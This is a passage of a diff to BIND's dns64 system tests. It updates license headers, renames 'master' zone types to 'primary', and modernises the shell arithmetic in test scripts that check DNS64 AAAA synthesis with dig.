  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/good4.conf b/bin/tests/system/dns64/conf/good4.conf
index 7ba43076cd..2c57f23656 100644
--- a/bin/tests/system/dns64/conf/good4.conf
+++ b/bin/tests/system/dns64/conf/good4.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/conf/good5.conf b/bin/tests/system/dns64/conf/good5.conf
index 8a558ba310..f6027a42cc 100644
--- a/bin/tests/system/dns64/conf/good5.conf
+++ b/bin/tests/system/dns64/conf/good5.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/ns1/example.db b/bin/tests/system/dns64/ns1/example.db
index d91fccede6..8253f1dfa0 100644
--- a/bin/tests/system/dns64/ns1/example.db
+++ b/bin/tests/system/dns64/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/ns1/ipv4only.arpa.db b/bin/tests/system/dns64/ns1/ipv4only.arpa.db
index 92257ad079..9e0726ded0 100644
--- a/bin/tests/system/dns64/ns1/ipv4only.arpa.db
+++ b/bin/tests/system/dns64/ns1/ipv4only.arpa.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 ipv4only.arpa.		3600	IN	SOA	. . 2018112766 7200 3600 604800 3600
 ipv4only.arpa.		3600	IN	NS	.
 ipv4only.arpa.		3600	IN	A	192.0.0.170
diff --git a/bin/tests/system/dns64/ns1/named.conf1.in b/bin/tests/system/dns64/ns1/named.conf1.in
index f2c3a2c473..aaf7aab096 100644
--- a/bin/tests/system/dns64/ns1/named.conf1.in
+++ b/bin/tests/system/dns64/ns1/named.conf1.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -56,6 +58,6 @@ zone "signed" {
 };
 
 zone "ipv4only.arpa" {
-	type master;
+	type primary;
 	file "ipv4only.arpa.db";
 };
diff --git a/bin/tests/system/dns64/ns1/named.conf2.in b/bin/tests/system/dns64/ns1/named.conf2.in
index 5b5b0b455c..f3fc40f645 100644
--- a/bin/tests/system/dns64/ns1/named.conf2.in
+++ b/bin/tests/system/dns64/ns1/named.conf2.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -59,6 +61,6 @@ zone "signed" {
 };
 
 zone "ipv4only.arpa" {
-	type master;
+	type primary;
 	file "ipv4only.arpa.db";
 };
diff --git a/bin/tests/system/dns64/ns1/named.conf3.in b/bin/tests/system/dns64/ns1/named.conf3.in
index 2b4212cd0d..cb6237b0e7 100644
--- a/bin/tests/system/dns64/ns1/named.conf3.in
+++ b/bin/tests/system/dns64/ns1/named.conf3.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -48,6 +50,6 @@ zone "signed" {
 };
 
 zone "ipv4only.arpa" {
-	type master;
+	type primary;
 	file "ipv4only.arpa.db";
 };
diff --git a/bin/tests/system/dns64/ns1/root.db b/bin/tests/system/dns64/ns1/root.db
index 532063c05c..0e3bbeeb8a 100644
--- a/bin/tests/system/dns64/ns1/root.db
+++ b/bin/tests/system/dns64/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/ns1/sign.sh b/bin/tests/system/dns64/ns1/sign.sh
index 7e2a38873a..348ca8af53 100644
--- a/bin/tests/system/dns64/ns1/sign.sh
+++ b/bin/tests/system/dns64/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,8 +17,8 @@ zone=signed
 infile=example.db
 zonefile=signed.db
 
-key1=`$KEYGEN -q -a rsasha256 $zone`
-key2=`$KEYGEN -q -a rsasha256 -fk $zone`
+key1=$($KEYGEN -q -a $DEFAULT_ALGORITHM $zone)
+key2=$($KEYGEN -q -a $DEFAULT_ALGORITHM -fk $zone)
 
 cat $infile $key1.key $key2.key > $zonefile
 
diff --git a/bin/tests/system/dns64/ns2/named.conf.in b/bin/tests/system/dns64/ns2/named.conf.in
index 47f937f978..be92d1a045 100644
--- a/bin/tests/system/dns64/ns2/named.conf.in
+++ b/bin/tests/system/dns64/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/ns2/rpz.db b/bin/tests/system/dns64/ns2/rpz.db
index d08a83b38b..014cbf0e16 100644
--- a/bin/tests/system/dns64/ns2/rpz.db
+++ b/bin/tests/system/dns64/ns2/rpz.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dns64/setup.sh b/bin/tests/system/dns64/setup.sh
index 1ab143111c..6771f3f2b2 100644
--- a/bin/tests/system/dns64/setup.sh
+++ b/bin/tests/system/dns64/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/dns64/tests.sh b/bin/tests/system/dns64/tests.sh
index bf0ca7a51f..4ee42dce4c 100644
--- a/bin/tests/system/dns64/tests.sh
+++ b/bin/tests/system/dns64/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
@@ -23,9 +27,9 @@ do
         echo_i "checking that $conf is accepted ($n)"
         ret=0
         $CHECKCONF "$conf" || ret=1
-        n=`expr $n + 1`
+        n=$((n + 1))
         if [ $ret != 0 ]; then echo_i "failed"; fi
-        status=`expr $status + $ret`
+        status=$((status + ret))
 done
 
 for conf in conf/bad*.conf
@@ -33,9 +37,9 @@ do
         echo_i "checking that $conf is rejected ($n)"
         ret=0
         $CHECKCONF "$conf" >/dev/null && ret=1
-	n=`expr $n + 1`
+	n=$((n + 1))
         if [ $ret != 0 ]; then echo_i "failed"; fi
-        status=`expr $status + $ret`
+        status=$((status + ret))
 done
 
 # Check the example. domain
@@ -45,45 +49,45 @@ ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-bad-a.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-good-a.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::1.2.3.4" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking default exclude acl ignores mapped A records (all mapped) ($n)"
 ret=0
 $DIG $DIGOPTS a-and-mapped.example. @10.53.0.2 -b 10.53.0.4 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::1.2.3.5" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking default exclude acl ignores mapped A records (some mapped) ($n)"
 ret=0
@@ -92,27 +96,27 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::4" dig.out.ns2.test$n > /dev/null || ret=1
 grep "::ffff:1.2.3.4" dig.out.ns2.test$n > /dev/null && ret=1
 grep "::ffff:1.2.3.5" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking default exclude acl works with AAAA only ($n)"
 ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.2 -b 10.53.0.4 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking default exclude acl A only lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-only.example. @10.53.0.2 -b 10.53.0.4 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially excluded only AAAA lookup works ($n)"
 ret=0
@@ -120,9 +124,9 @@ $DIG $DIGOPTS partially-excluded-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > di
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded AAAA and non-mapped A lookup works ($n)"
 ret=0
@@ -130,9 +134,9 @@ $DIG $DIGOPTS partially-excluded-bad-a.example. @10.53.0.2 -b 10.53.0.2 aaaa > d
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded only AAAA and mapped A lookup works ($n)"
 ret=0
@@ -140,125 +144,125 @@ $DIG $DIGOPTS partially-excluded-good-a.example. @10.53.0.2 -b 10.53.0.2 aaaa >
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only lookup works ($n)"
 ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-and-aaaa.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-not-mapped.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA lookup works ($n)"
 ret=0
 $DIG $DIGOPTS mx-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA lookup works ($n)"
 ret=0
 $DIG $DIGOPTS non-existent.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-bad-a.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-good-a.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::1.2.3.4" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-and-aaaa.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME lookup works ($n)"
 ret=0
@@ -266,9 +270,9 @@ $DIG $DIGOPTS cname-a-not-mapped.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-not-mapped.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME lookup works ($n)"
 ret=0
@@ -276,18 +280,18 @@ $DIG $DIGOPTS cname-mx-only.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-non-existent.example. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the example. domain recursive only
 
@@ -296,36 +300,36 @@ ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS excluded-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS excluded-bad-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS excluded-good-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::1.2.3.4" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially excluded only AAAA lookup works, recursive only ($n)"
 ret=0
@@ -333,9 +337,9 @@ $DIG $DIGOPTS partially-excluded-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > di
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded AAAA and non-mapped A lookup works, recursive only ($n)"
 ret=0
@@ -343,9 +347,9 @@ $DIG $DIGOPTS partially-excluded-bad-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > d
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded only AAAA and mapped A lookup works, recursive only ($n)"
 ret=0
@@ -353,89 +357,89 @@ $DIG $DIGOPTS partially-excluded-good-a.example. @10.53.0.1 -b 10.53.0.1 aaaa >
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only lookup works, recursive only ($n)"
 ret=0
